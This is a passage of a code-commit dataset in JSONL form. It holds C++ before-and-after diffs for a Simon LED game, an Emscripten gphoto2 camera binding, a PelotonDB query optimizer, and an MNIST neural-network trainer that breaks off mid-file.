timed, bool sound) {\n    switch (p) {\n        case Top:\n            b.ledOn(11, 255, 0, 0);\n            b.ledOn(1, 255, 0, 0);\n            if (sound) { b.playNote(\"C4\",4); }\n            break;\n        case Right:\n            b.ledOn(2, 0, 0, 255);\n            b.ledOn(3, 0, 0, 255);\n            b.ledOn(4, 0, 0, 255);\n            if (sound) { b.playNote(\"E4\",4); }\n            break;\n        case Bottom:\n            b.ledOn(5, 120, 120, 0);\n            b.ledOn(6, 120, 120, 0);\n            b.ledOn(7, 120, 120, 0);\n            if (sound) { b.playNote(\"G4\",4); }\n            break;\n        case Left:\n            b.ledOn(8, 0, 255, 0);\n            b.ledOn(9, 0, 255, 0);\n            b.ledOn(10, 0, 255, 0);\n            if (sound) { b.playNote(\"C5\",4); }\n            break;\n        case None: \n            delay(100);\n            return;\n    }\n    if (timed) {\n        b.allLedsOff();\n    }\n}\n\nvoid Simon::unflash() {\n    \/\/ TODO: stop sound\n    b.allLedsOff();\n}\n\nvoid Simon::fail() {\n    flash(solution[successCount], false, false);\n    b.playNote(\"C2\",1);\n    \n    for( int a = 0; a < 3; a = a + 1 )\n    {\n        \n        b.allLedsOn(255,0,0); \n        RGB.brightness(255);\n        delay(500);\n        b.allLedsOff();\n        RGB.brightness(1);\n        delay(500);\n    }\n   \n    RGB.color(0, 0, 0);\n    RGB.brightness(255);\n    state = Welcome;\n}\n\n    \n<|endoftext|>"}
{"text":"<commit_before>#include <emscripten.h>\n#include <emscripten\/bind.h>\n#include <emscripten\/val.h>\n#include <gphoto2\/gphoto2.h>\n\n#include <cstring>\n#include <iostream>\n\nusing emscripten::val;\n\ntemplate <typename T, auto Deleter>\nusing gpp_unique_ptr =\n    std::unique_ptr<T, std::integral_constant<decltype(Deleter), Deleter>>;\n\nusing GPPWidget = gpp_unique_ptr<CameraWidget, gp_widget_unref>;\n\nvoid gpp_try(int status) {\n  if (status != GP_OK) {\n    throw std::runtime_error(gp_result_as_string(status));\n  }\n}\n\nvoid gpp_log_error(GPContext *context, const char *text, void *data) {\n  std::cerr << text << std::endl;\n}\n\n#define GPP_CALL(RET, EXPR) \\\n  ({                        \\\n    RET OUT;                \\\n    RET *_ = &OUT;          \\\n    gpp_try(EXPR);          \\\n    OUT;                    \\\n  })\n\nEM_JS([[noreturn]] void, throw_msg, (const char *msg),\n      { throw new Error(UTF8ToString(msg)); });\n\ntemplate <typename Func>\nauto gpp_rethrow(Func func) {\n  try {\n    return func();\n  } catch (std::exception &e) {\n    throw_msg(e.what());\n  }\n}\n\nconst thread_local val Uint8Array = val::global(\"Uint8Array\");\nconst thread_local val Blob = val::global(\"Blob\");\nconst thread_local val File = val::global(\"File\");\nconst thread_local val arrayOf = val::global(\"Array\")[\"of\"];\n\nclass Context {\n public:\n  Context() : camera(nullptr), context(nullptr) {\n    gpp_rethrow([=]() {\n      camera.reset(GPP_CALL(Camera *, gp_camera_new(_)));\n      context.reset(gp_context_new());\n      gp_context_set_error_func(context.get(), gpp_log_error, nullptr);\n      gpp_try(gp_camera_init(camera.get(), context.get()));\n    });\n  }\n\n  val supportedOps() {\n    auto ops =\n        GPP_CALL(CameraAbilities, gp_camera_get_abilities(camera.get(), _))\n            .operations;\n\n    val result = val::object();\n    result.set(\"captureImage\", (ops & GP_OPERATION_CAPTURE_IMAGE) != 0);\n    result.set(\"captureVideo\", (ops & GP_OPERATION_CAPTURE_VIDEO) != 0);\n    result.set(\"captureAudio\", (ops & GP_OPERATION_CAPTURE_AUDIO) != 0);\n    result.set(\"capturePreview\", (ops & GP_OPERATION_CAPTURE_PREVIEW) != 0);\n    result.set(\"config\", (ops & GP_OPERATION_CONFIG) != 0);\n    result.set(\"triggerCapture\", (ops & GP_OPERATION_TRIGGER_CAPTURE) != 0);\n    return result;\n  }\n\n  bool hasPendingEvent() {\n    return gpp_rethrow([=]() {\n      CameraEventType event_type = GP_EVENT_UNKNOWN;\n      gpp_unique_ptr<void, free> event_data(GPP_CALL(\n          void *, gp_camera_wait_for_event(camera.get(), 0, &event_type, _,\n                                           context.get())));\n      return event_type != GP_EVENT_TIMEOUT;\n    });\n  }\n\n  val configToJS() {\n    return gpp_rethrow([=]() {\n      GPPWidget config(\n          GPP_CALL(CameraWidget *,\n                   gp_camera_get_config(camera.get(), _, context.get())));\n      return walk_config(config.get()).second;\n    });\n  }\n\n  void setConfigValue(std::string name, val value) {\n    gpp_rethrow([=]() {\n      GPPWidget widget(GPP_CALL(\n          CameraWidget *, gp_camera_get_single_config(\n                              camera.get(), name.c_str(), _, context.get())));\n      auto type =\n          GPP_CALL(CameraWidgetType, gp_widget_get_type(widget.get(), _));\n      switch (type) {\n        case GP_WIDGET_RANGE: {\n          float number = value.as<float>();\n          gpp_try(gp_widget_set_value(widget.get(), &number));\n          break;\n        }\n        case GP_WIDGET_MENU:\n        case GP_WIDGET_RADIO:\n        case GP_WIDGET_TEXT: {\n          auto str = value.as<std::string>();\n          gpp_try(gp_widget_set_value(widget.get(), str.c_str()));\n          break;\n        }\n        case GP_WIDGET_TOGGLE: {\n          int on = value.as<bool>() ? 1 : 0;\n          gpp_try(gp_widget_set_value(widget.get(), &on));\n          break;\n        }\n        case GP_WIDGET_DATE: {\n          auto seconds = static_cast<int>(value.as<double>() \/ 1000);\n          gpp_try(gp_widget_set_value(widget.get(), &seconds));\n          break;\n        }\n        default: {\n          throw std::logic_error(\"unimplemented\");\n        }\n      }\n      gpp_try(gp_camera_set_single_config(camera.get(), name.c_str(),\n                                          widget.get(), context.get()));\n    });\n  }\n\n  val capturePreviewAsBlob() {\n    return gpp_rethrow([=]() {\n      auto &file = get_file();\n\n      gpp_try(gp_camera_capture_preview(camera.get(), &file, context.get()));\n\n      auto params = blob_chunks_and_opts(file);\n      return Blob.new_(std::move(params.first), std::move(params.second));\n    });\n  }\n\n  val captureImageAsFile() {\n    return gpp_rethrow([=]() {\n      auto &file = get_file();\n\n      {\n        struct TempCameraFile {\n          Camera &camera;\n          GPContext &context;\n          CameraFilePath path;\n\n          ~TempCameraFile() {\n            gp_camera_file_delete(&camera, path.folder, path.name, &context);\n          }\n        };\n\n        TempCameraFile camera_file{\n            .camera = *camera,\n            .context = *context,\n        };\n\n        strcpy(camera_file.path.folder, \"\/\");\n        strcpy(camera_file.path.name, \"web-gphoto2\");\n\n        gpp_try(gp_camera_capture(camera.get(), GP_CAPTURE_IMAGE,\n                                  &camera_file.path, context.get()));\n\n        gpp_try(gp_camera_file_get(camera.get(), camera_file.path.folder,\n                                   camera_file.path.name, GP_FILE_TYPE_NORMAL,\n                                   &file, context.get()));\n      }\n\n      gpp_try(gp_file_set_name(&file, \"image.\"));\n      gpp_try(gp_file_adjust_name_for_mime_type(&file));\n      auto name = val(GPP_CALL(const char *, gp_file_get_name(&file, _)));\n\n      auto params = blob_chunks_and_opts(file);\n      return File.new_(std::move(params.first), std::move(name),\n                       std::move(params.second));\n    });\n  }\n\n private:\n  gpp_unique_ptr<Camera, gp_camera_unref> camera;\n  gpp_unique_ptr<GPContext, gp_context_unref> context;\n  gpp_unique_ptr<CameraFile, gp_file_unref> file;\n\n  static std::pair<val, val> walk_config(CameraWidget *widget) {\n    val result = val::object();\n\n    val name(GPP_CALL(const char *, gp_widget_get_name(widget, _)));\n    result.set(\"name\", name);\n    result.set(\"info\", GPP_CALL(const char *, gp_widget_get_info(widget, _)));\n    result.set(\"label\", GPP_CALL(const char *, gp_widget_get_label(widget, _)));\n    result.set(\"readonly\",\n               GPP_CALL(int, gp_widget_get_readonly(widget, _)) != 0);\n\n    auto type = GPP_CALL(CameraWidgetType, gp_widget_get_type(widget, _));\n\n    switch (type) {\n      case GP_WIDGET_RANGE: {\n        result.set(\"type\", \"range\");\n        result.set(\"value\", GPP_CALL(float, gp_widget_get_value(widget, _)));\n\n        float min, max, step;\n        gpp_try(gp_widget_get_range(widget, &min, &max, &step));\n        result.set(\"min\", min);\n        result.set(\"max\", max);\n        result.set(\"step\", step);\n\n        break;\n      }\n      case GP_WIDGET_MENU:\n      case GP_WIDGET_RADIO: {\n        result.set(\"type\", type == GP_WIDGET_MENU ? \"menu\" : \"radio\");\n        result.set(\"value\",\n                   GPP_CALL(const char *, gp_widget_get_value(widget, _)));\n\n        val choices = val::array();\n        for (int i = 0, n = gp_widget_count_choices(widget); i < n; i++) {\n          choices.call<void>(\n              \"push\",\n              val(GPP_CALL(const char *, gp_widget_get_choice(widget, i, _))));\n        }\n        result.set(\"choices\", choices);\n\n        break;\n      }\n      case GP_WIDGET_TOGGLE: {\n        result.set(\"type\", \"toggle\");\n        result.set(\"value\", GPP_CALL(int, gp_widget_get_value(widget, _)) != 0);\n\n        break;\n      }\n      case GP_WIDGET_TEXT: {\n        result.set(\"type\", \"text\");\n        result.set(\"value\",\n                   GPP_CALL(const char *, gp_widget_get_value(widget, _)));\n\n        break;\n      }\n      case GP_WIDGET_WINDOW:\n      case GP_WIDGET_SECTION: {\n        result.set(\"type\", type == GP_WIDGET_WINDOW ? \"window\" : \"section\");\n\n        val children = val::object();\n        for (int i = 0, n = gp_widget_count_children(widget); i < n; i++) {\n          auto child =\n              GPP_CALL(CameraWidget *, gp_widget_get_child(widget, i, _));\n          auto kv = walk_config(child);\n          children.set(kv.first, kv.second);\n        }\n        result.set(\"children\", children);\n\n        break;\n      }\n      case GP_WIDGET_DATE: {\n        auto seconds = GPP_CALL(int, gp_widget_get_value(widget, _));\n        result.set(\"type\", \"datetime\");\n        result.set(\"value\", static_cast<double>(seconds) * 1000);\n\n        break;\n      }\n      default: {\n        throw std::logic_error(\"unimplemented\");\n      }\n    }\n\n    return {name, result};\n  }\n\n  CameraFile &get_file() {\n    if (file.get() == nullptr) {\n      file.reset(GPP_CALL(CameraFile *, gp_file_new(_)));\n    }\n    return *file;\n  }\n\n  std::pair<val, val> blob_chunks_and_opts(CameraFile &file) {\n    auto mime_type = GPP_CALL(const char *, gp_file_get_mime_type(&file, _));\n\n    const char *data;\n    unsigned long size;\n    gpp_try(gp_file_get_data_and_size(&file, &data, &size));\n\n    val blob_opts = val::object();\n    blob_opts.set(\"type\", mime_type);\n\n    return {arrayOf(Uint8Array.new_(emscripten::typed_memory_view(size, data))),\n            std::move(blob_opts)};\n  }\n};\n\nEMSCRIPTEN_BINDINGS(gphoto2_js_api) {\n  emscripten::enum_<CameraOperation>(\"SupportedOps\")\n      .value(\"None\", GP_OPERATION_NONE)\n      .value(\"CaptureImage\", GP_OPERATION_CAPTURE_IMAGE)\n      .value(\"CaptureVideo\", GP_OPERATION_CAPTURE_VIDEO)\n      .value(\"CaptureAudio\", GP_OPERATION_CAPTURE_AUDIO)\n      .value(\"CapturePreview\", GP_OPERATION_CAPTURE_PREVIEW)\n      .value(\"Config\", GP_OPERATION_CONFIG)\n      .value(\"TriggerCapture\", GP_OPERATION_TRIGGER_CAPTURE);\n\n  emscripten::class_<Context>(\"Context\")\n      .constructor<>()\n      .function(\"configToJS\", &Context::configToJS)\n      .function(\"setConfigValue\", &Context::setConfigValue)\n      .function(\"capturePreviewAsBlob\", &Context::capturePreviewAsBlob)\n      .function(\"captureImageAsFile\", &Context::captureImageAsFile)\n      .function(\"hasPendingEvent\", &Context::hasPendingEvent)\n      .function(\"triggerCapture\", &Context::triggerCapture)\n      .function(\"supportedOps\", &Context::supportedOps);\n}\n<commit_msg>Remove triggerCapture<commit_after>#include <emscripten.h>\n#include <emscripten\/bind.h>\n#include <emscripten\/val.h>\n#include <gphoto2\/gphoto2.h>\n\n#include <cstring>\n#include <iostream>\n\nusing emscripten::val;\n\ntemplate <typename T, auto Deleter>\nusing gpp_unique_ptr =\n    std::unique_ptr<T, std::integral_constant<decltype(Deleter), Deleter>>;\n\nusing GPPWidget = gpp_unique_ptr<CameraWidget, gp_widget_unref>;\n\nvoid gpp_try(int status) {\n  if (status != GP_OK) {\n    throw std::runtime_error(gp_result_as_string(status));\n  }\n}\n\nvoid gpp_log_error(GPContext *context, const char *text, void *data) {\n  std::cerr << text << std::endl;\n}\n\n#define GPP_CALL(RET, EXPR) \\\n  ({                        \\\n    RET OUT;                \\\n    RET *_ = &OUT;          \\\n    gpp_try(EXPR);          \\\n    OUT;                    \\\n  })\n\nEM_JS([[noreturn]] void, throw_msg, (const char *msg),\n      { throw new Error(UTF8ToString(msg)); });\n\ntemplate <typename Func>\nauto gpp_rethrow(Func func) {\n  try {\n    return func();\n  } catch (std::exception &e) {\n    throw_msg(e.what());\n  }\n}\n\nconst thread_local val Uint8Array = val::global(\"Uint8Array\");\nconst thread_local val Blob = val::global(\"Blob\");\nconst thread_local val File = val::global(\"File\");\nconst thread_local val arrayOf = val::global(\"Array\")[\"of\"];\n\nclass Context {\n public:\n  Context() : camera(nullptr), context(nullptr) {\n    gpp_rethrow([=]() {\n      camera.reset(GPP_CALL(Camera *, gp_camera_new(_)));\n      context.reset(gp_context_new());\n      gp_context_set_error_func(context.get(), gpp_log_error, nullptr);\n      gpp_try(gp_camera_init(camera.get(), context.get()));\n    });\n  }\n\n  val supportedOps() {\n    auto ops =\n        GPP_CALL(CameraAbilities, gp_camera_get_abilities(camera.get(), _))\n            .operations;\n\n    val result = val::object();\n    result.set(\"captureImage\", (ops & GP_OPERATION_CAPTURE_IMAGE) != 0);\n    result.set(\"captureVideo\", (ops & GP_OPERATION_CAPTURE_VIDEO) != 0);\n    result.set(\"captureAudio\", (ops & GP_OPERATION_CAPTURE_AUDIO) != 0);\n    result.set(\"capturePreview\", (ops & GP_OPERATION_CAPTURE_PREVIEW) != 0);\n    result.set(\"config\", (ops & GP_OPERATION_CONFIG) != 0);\n    result.set(\"triggerCapture\", (ops & GP_OPERATION_TRIGGER_CAPTURE) != 0);\n    return result;\n  }\n\n  bool hasPendingEvent() {\n    return gpp_rethrow([=]() {\n      CameraEventType event_type = GP_EVENT_UNKNOWN;\n      gpp_unique_ptr<void, free> event_data(GPP_CALL(\n          void *, gp_camera_wait_for_event(camera.get(), 0, &event_type, _,\n                                           context.get())));\n      return event_type != GP_EVENT_TIMEOUT;\n    });\n  }\n\n  val configToJS() {\n    return gpp_rethrow([=]() {\n      GPPWidget config(\n          GPP_CALL(CameraWidget *,\n                   gp_camera_get_config(camera.get(), _, context.get())));\n      return walk_config(config.get()).second;\n    });\n  }\n\n  void setConfigValue(std::string name, val value) {\n    gpp_rethrow([=]() {\n      GPPWidget widget(GPP_CALL(\n          CameraWidget *, gp_camera_get_single_config(\n                              camera.get(), name.c_str(), _, context.get())));\n      auto type =\n          GPP_CALL(CameraWidgetType, gp_widget_get_type(widget.get(), _));\n      switch (type) {\n        case GP_WIDGET_RANGE: {\n          float number = value.as<float>();\n          gpp_try(gp_widget_set_value(widget.get(), &number));\n          break;\n        }\n        case GP_WIDGET_MENU:\n        case GP_WIDGET_RADIO:\n        case GP_WIDGET_TEXT: {\n          auto str = value.as<std::string>();\n          gpp_try(gp_widget_set_value(widget.get(), str.c_str()));\n          break;\n        }\n        case GP_WIDGET_TOGGLE: {\n          int on = value.as<bool>() ? 1 : 0;\n          gpp_try(gp_widget_set_value(widget.get(), &on));\n          break;\n        }\n        case GP_WIDGET_DATE: {\n          auto seconds = static_cast<int>(value.as<double>() \/ 1000);\n          gpp_try(gp_widget_set_value(widget.get(), &seconds));\n          break;\n        }\n        default: {\n          throw std::logic_error(\"unimplemented\");\n        }\n      }\n      gpp_try(gp_camera_set_single_config(camera.get(), name.c_str(),\n                                          widget.get(), context.get()));\n    });\n  }\n\n  val capturePreviewAsBlob() {\n    return gpp_rethrow([=]() {\n      auto &file = get_file();\n\n      gpp_try(gp_camera_capture_preview(camera.get(), &file, context.get()));\n\n      auto params = blob_chunks_and_opts(file);\n      return Blob.new_(std::move(params.first), std::move(params.second));\n    });\n  }\n\n  val captureImageAsFile() {\n    return gpp_rethrow([=]() {\n      auto &file = get_file();\n\n      {\n        struct TempCameraFile {\n          Camera &camera;\n          GPContext &context;\n          CameraFilePath path;\n\n          ~TempCameraFile() {\n            gp_camera_file_delete(&camera, path.folder, path.name, &context);\n          }\n        };\n\n        TempCameraFile camera_file{\n            .camera = *camera,\n            .context = *context,\n        };\n\n        strcpy(camera_file.path.folder, \"\/\");\n        strcpy(camera_file.path.name, \"web-gphoto2\");\n\n        gpp_try(gp_camera_capture(camera.get(), GP_CAPTURE_IMAGE,\n                                  &camera_file.path, context.get()));\n\n        gpp_try(gp_camera_file_get(camera.get(), camera_file.path.folder,\n                                   camera_file.path.name, GP_FILE_TYPE_NORMAL,\n                                   &file, context.get()));\n      }\n\n      gpp_try(gp_file_set_name(&file, \"image.\"));\n      gpp_try(gp_file_adjust_name_for_mime_type(&file));\n      auto name = val(GPP_CALL(const char *, gp_file_get_name(&file, _)));\n\n      auto params = blob_chunks_and_opts(file);\n      return File.new_(std::move(params.first), std::move(name),\n                       std::move(params.second));\n    });\n  }\n\n private:\n  gpp_unique_ptr<Camera, gp_camera_unref> camera;\n  gpp_unique_ptr<GPContext, gp_context_unref> context;\n  gpp_unique_ptr<CameraFile, gp_file_unref> file;\n\n  static std::pair<val, val> walk_config(CameraWidget *widget) {\n    val result = val::object();\n\n    val name(GPP_CALL(const char *, gp_widget_get_name(widget, _)));\n    result.set(\"name\", name);\n    result.set(\"info\", GPP_CALL(const char *, gp_widget_get_info(widget, _)));\n    result.set(\"label\", GPP_CALL(const char *, gp_widget_get_label(widget, _)));\n    result.set(\"readonly\",\n               GPP_CALL(int, gp_widget_get_readonly(widget, _)) != 0);\n\n    auto type = GPP_CALL(CameraWidgetType, gp_widget_get_type(widget, _));\n\n    switch (type) {\n      case GP_WIDGET_RANGE: {\n        result.set(\"type\", \"range\");\n        result.set(\"value\", GPP_CALL(float, gp_widget_get_value(widget, _)));\n\n        float min, max, step;\n        gpp_try(gp_widget_get_range(widget, &min, &max, &step));\n        result.set(\"min\", min);\n        result.set(\"max\", max);\n        result.set(\"step\", step);\n\n        break;\n      }\n      case GP_WIDGET_MENU:\n      case GP_WIDGET_RADIO: {\n        result.set(\"type\", type == GP_WIDGET_MENU ? \"menu\" : \"radio\");\n        result.set(\"value\",\n                   GPP_CALL(const char *, gp_widget_get_value(widget, _)));\n\n        val choices = val::array();\n        for (int i = 0, n = gp_widget_count_choices(widget); i < n; i++) {\n          choices.call<void>(\n              \"push\",\n              val(GPP_CALL(const char *, gp_widget_get_choice(widget, i, _))));\n        }\n        result.set(\"choices\", choices);\n\n        break;\n      }\n      case GP_WIDGET_TOGGLE: {\n        result.set(\"type\", \"toggle\");\n        result.set(\"value\", GPP_CALL(int, gp_widget_get_value(widget, _)) != 0);\n\n        break;\n      }\n      case GP_WIDGET_TEXT: {\n        result.set(\"type\", \"text\");\n        result.set(\"value\",\n                   GPP_CALL(const char *, gp_widget_get_value(widget, _)));\n\n        break;\n      }\n      case GP_WIDGET_WINDOW:\n      case GP_WIDGET_SECTION: {\n        result.set(\"type\", type == GP_WIDGET_WINDOW ? \"window\" : \"section\");\n\n        val children = val::object();\n        for (int i = 0, n = gp_widget_count_children(widget); i < n; i++) {\n          auto child =\n              GPP_CALL(CameraWidget *, gp_widget_get_child(widget, i, _));\n          auto kv = walk_config(child);\n          children.set(kv.first, kv.second);\n        }\n        result.set(\"children\", children);\n\n        break;\n      }\n      case GP_WIDGET_DATE: {\n        auto seconds = GPP_CALL(int, gp_widget_get_value(widget, _));\n        result.set(\"type\", \"datetime\");\n        result.set(\"value\", static_cast<double>(seconds) * 1000);\n\n        break;\n      }\n      default: {\n        throw std::logic_error(\"unimplemented\");\n      }\n    }\n\n    return {name, result};\n  }\n\n  CameraFile &get_file() {\n    if (file.get() == nullptr) {\n      file.reset(GPP_CALL(CameraFile *, gp_file_new(_)));\n    }\n    return *file;\n  }\n\n  std::pair<val, val> blob_chunks_and_opts(CameraFile &file) {\n    auto mime_type = GPP_CALL(const char *, gp_file_get_mime_type(&file, _));\n\n    const char *data;\n    unsigned long size;\n    gpp_try(gp_file_get_data_and_size(&file, &data, &size));\n\n    val blob_opts = val::object();\n    blob_opts.set(\"type\", mime_type);\n\n    return {arrayOf(Uint8Array.new_(emscripten::typed_memory_view(size, data))),\n            std::move(blob_opts)};\n  }\n};\n\nEMSCRIPTEN_BINDINGS(gphoto2_js_api) {\n  emscripten::enum_<CameraOperation>(\"SupportedOps\")\n      .value(\"None\", GP_OPERATION_NONE)\n      .value(\"CaptureImage\", GP_OPERATION_CAPTURE_IMAGE)\n      .value(\"CaptureVideo\", GP_OPERATION_CAPTURE_VIDEO)\n      .value(\"CaptureAudio\", GP_OPERATION_CAPTURE_AUDIO)\n      .value(\"CapturePreview\", GP_OPERATION_CAPTURE_PREVIEW)\n      .value(\"Config\", GP_OPERATION_CONFIG)\n      .value(\"TriggerCapture\", GP_OPERATION_TRIGGER_CAPTURE);\n\n  emscripten::class_<Context>(\"Context\")\n      .constructor<>()\n      .function(\"configToJS\", &Context::configToJS)\n      .function(\"setConfigValue\", &Context::setConfigValue)\n      .function(\"capturePreviewAsBlob\", &Context::capturePreviewAsBlob)\n      .function(\"captureImageAsFile\", &Context::captureImageAsFile)\n      .function(\"hasPendingEvent\", &Context::hasPendingEvent)\n      .function(\"supportedOps\", &Context::supportedOps);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                         PelotonDB\n\/\/\n\/\/ simple_optimizer.cpp\n\/\/\n\/\/ Identification: \/peloton\/src\/optimizer\/simple_optimizer.cpp\n\/\/\n\/\/ Copyright (c) 2016, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"optimizer\/simple_optimizer.h\"\n#include \"parser\/peloton\/abstract_parse.h\"\n#include \"planner\/abstract_plan.h\"\n#include \"planner\/drop_plan.h\"\n#include \"planner\/seq_scan_plan.h\"\n\n#include \"common\/logger.h\"\n\n#include <memory>\n\nnamespace peloton {\nnamespace planner {\nclass AbstractPlan;\n}\nnamespace optimizer {\n\nSimpleOptimizer::SimpleOptimizer() {\n}\n;\n\nSimpleOptimizer::~SimpleOptimizer() {\n}\n;\n\nstd::shared_ptr<planner::AbstractPlan> SimpleOptimizer::BuildPlanTree(\n    const std::unique_ptr<parser::AbstractParse>& parse_tree) {\n\n  std::shared_ptr<planner::AbstractPlan> plan_tree;\n  if (parse_tree.get() == nullptr)\n    return plan_tree;\n\n  std::unique_ptr<planner::AbstractPlan> child_plan = nullptr;\n\n  \/\/ TODO: Transform the parse tree\n\n  \/\/ One to one Mapping\n  auto parse_item_node_type = parse_tree->GetParseNodeType();\n\n  switch (parse_item_node_type) {\n    case PARSE_NODE_TYPE_DROP:\n      std::unique_ptr<planner::AbstractPlan> DropPlan(new planner::DropPlan(\"department-table\"));\n      child_plan = std::move(DropPlan);\n      break;\n\n    case PARSE_NODE_TYPE_SCAN:\n      std::unique_ptr<planner::AbstractPlan> SeqScanPlan(new planner::SeqScanPlan(\"department-table\"));\n      child_plan = std::move(SeqScanPlan);\n      break;\n\n    default:\n      LOG_INFO(\"Unsupported Parse Node Type\");\n  }\n\n\/\/ Need to recurse and give base case. for every child in parse tree.\n\n  if (child_plan != nullptr) {\n    if (plan_tree != nullptr)\n      plan_tree->AddChild(std::move(child_plan));\n    else\n      plan_tree = std::move(child_plan);\n  }\n\n  return plan_tree;\n}\n\n}  \/\/ namespace optimizer\n}  \/\/ namespace peloton\n<commit_msg>Simple Fixes<commit_after>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                         PelotonDB\n\/\/\n\/\/ simple_optimizer.cpp\n\/\/\n\/\/ Identification: \/peloton\/src\/optimizer\/simple_optimizer.cpp\n\/\/\n\/\/ Copyright (c) 2016, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"optimizer\/simple_optimizer.h\"\n#include \"parser\/peloton\/abstract_parse.h\"\n#include \"planner\/abstract_plan.h\"\n#include \"planner\/drop_plan.h\"\n#include \"planner\/seq_scan_plan.h\"\n\n#include \"common\/logger.h\"\n\n#include <memory>\n\nnamespace peloton {\nnamespace planner {\nclass AbstractPlan;\n}\nnamespace optimizer {\n\nSimpleOptimizer::SimpleOptimizer() {\n}\n;\n\nSimpleOptimizer::~SimpleOptimizer() {\n}\n;\n\nstd::shared_ptr<planner::AbstractPlan> SimpleOptimizer::BuildPlanTree(\n    const std::unique_ptr<parser::AbstractParse>& parse_tree) {\n\n  std::shared_ptr<planner::AbstractPlan> plan_tree;\n  if (parse_tree.get() == nullptr)\n    return plan_tree;\n\n  std::unique_ptr<planner::AbstractPlan> child_plan = nullptr;\n\n  \/\/ TODO: Transform the parse tree\n\n  \/\/ One to one Mapping\n  auto parse_item_node_type = parse_tree->GetParseNodeType();\n\n  switch (parse_item_node_type) {\n    case PARSE_NODE_TYPE_DROP:\n      std::unique_ptr<planner::AbstractPlan> DropPlan(new planner::DropPlan(\"department-table\"));\n      child_plan = std::move(DropPlan);\n      break;\n\n    case PARSE_NODE_TYPE_SCAN:\n      std::unique_ptr<planner::AbstractPlan> SeqScanPlan(new planner::SeqScanPlan());\n      child_plan = std::move(SeqScanPlan);\n      break;\n\n    default:\n      LOG_INFO(\"Unsupported Parse Node Type\");\n  }\n\n\/\/ Need to recurse and give base case. for every child in parse tree.\n\n  if (child_plan != nullptr) {\n    if (plan_tree != nullptr)\n      plan_tree->AddChild(std::move(child_plan));\n    else\n      plan_tree = std::move(child_plan);\n  }\n\n  return plan_tree;\n}\n\n}  \/\/ namespace optimizer\n}  \/\/ namespace peloton\n<|endoftext|>"}
{"text":"<commit_before>#include <fstream>\n#include <iostream>\n#include <omp.h>\n#include <random>\n#include <stdio.h>\n#include <string>\n#include <time.h>\n\n#include \"Neural_Networks.h\"\n\nusing namespace std;\n\nvoid Read_MNIST(string training_set_images, string training_set_labels, string test_set_images, string test_set_labels, int number_training, int number_test, float **input, float **output) {\n\tifstream file(training_set_images, ifstream::binary);\n\n\tif (file.is_open()) {\n\t\tfor (int h = 0, value; h < 4; h++) {\n\t\t\tfile.read((char*)(&value), sizeof(int));\n\t\t}\n\t\tfor (int h = 0; h < number_training; h++) {\n\t\t\tunsigned char pixel;\n\n\t\t\tfor (int j = 0; j < 28 * 28; j++) {\n\t\t\t\tfile.read((char*)(&pixel), 1);\n\t\t\t\tinput[h][j] = pixel \/ 255.0;\n\t\t\t}\n\t\t}\n\t\tfile.close();\n\t}\n\telse {\n\t\tcerr << \"[Read_MNIST], \" + training_set_images + \" not found\" << endl;\n\t}\n\n\tfile.open(training_set_labels, ifstream::binary);\n\n\tif (file.is_open()) {\n\t\tfor (int h = 0, value; h < 2; h++) {\n\t\t\tfile.read((char*)(&value), sizeof(int));\n\t\t}\n\t\tfor (int h = 0; h < number_training; h++) {\n\t\t\tunsigned char label;\n\n\t\t\tfile.read((char*)(&label), 1);\n\n\t\t\tfor (int j = 0; j < 10; j++) {\n\t\t\t\toutput[h][j] = (j == label);\n\t\t\t}\n\t\t}\n\t\tfile.close();\n\t}\n\telse {\n\t\tcerr << \"[Read_MNIST], \" + training_set_labels + \" not found\" << endl;\n\t}\n\n\tfile.open(test_set_images, ifstream::binary);\n\n\tif (file.is_open()) {\n\t\tfor (int h = 0, value; h < 4; h++) {\n\t\t\tfile.read((char*)(&value), sizeof(int));\n\t\t}\n\t\tfor (int h = number_training; h < number_training + number_test; h++) {\n\t\t\tunsigned char pixel;\n\n\t\t\tfor (int j = 0; j < 28 * 28; j++) {\n\t\t\t\tfile.read((char*)(&pixel), 1);\n\t\t\t\tinput[h][j] = pixel \/ 255.0;\n\t\t\t}\n\t\t}\n\t\tfile.close();\n\t}\n\telse {\n\t\tcerr << \"[Read_MNIST], \" + test_set_images + \" not found\" << endl;\n\t}\n\n\tfile.open(test_set_labels, ifstream::binary);\n\n\tif (file.is_open()) {\n\t\tfor (int h = 0, value; h < 2; h++) {\n\t\t\tfile.read((char*)(&value), sizeof(int));\n\t\t}\n\t\tfor (int h = number_training; h < number_training + number_test; h++) {\n\t\t\tunsigned char label;\n\n\t\t\tfile.read((char*)(&label), 1);\n\n\t\t\tfor (int j = 0; j < 10; j++) {\n\t\t\t\toutput[h][j] = (j == label);\n\t\t\t}\n\t\t}\n\t\tfile.close();\n\t}\n\telse {\n\t\tcerr << \"[Read_MNIST], \" + test_set_labels + \" not found\" << endl;\n\t}\n}\n\nint main() {\n\tint batch_size = 128;\n\tint epochs = 20;\n\tint number_threads = 6;\n\tint number_training = 60000;\n\tint number_test = 10000;\n\tint number_nodes[] = { 784, 10 };\n\n\tfloat **x_data = new float*[number_training + number_test];\n\tfloat **y_data = new float*[number_training + number_test];\n\tfloat **x_train = x_data;\n\tfloat **y_train = y_data;\n\tfloat **x_test = &x_data[number_training];\n\tfloat **y_test = &y_data[number_training];\n\n\tdouble learning_rate = 0.5;\n\n\tstring path;\n\n\tNeural_Networks NN = Neural_Networks();\n\n\tcout << \"path where MNIST handwritten digits dataset is : \";\n\tgetline(cin, path);\n\n\tfor (int h = 0; h < number_training + number_test; h++) {\n\t\tx_data[h] = new float[number_nodes[0]];\n\t\ty_data[h] = new float[number_nodes[1]];\n\t}\n\tRead_MNIST(path + \"train-images.idx3-ubyte\", path + \"train-labels.idx1-ubyte\", path + \"t10k-images.idx3-ubyte\", path + \"t10k-labels.idx1-ubyte\", number_training, number_test, x_data, y_data);\n\tomp_set_num_threads(number_threads);\n\n\tsrand(9);\n\n\tNN.Add( 1, 28, 28);\n\tNN.Add(24, 24, 24)\n\t\t->Activation(Activation::relu)\n\t\t->Batch_Normalization();\n\tNN.Add(24, 12, 12);\n\tNN.Add(48,  8,  8)\n\t\t->Activation(Activation::relu)\n\t\t->Batch_Normalization();\n\tNN.Add(48,  4,  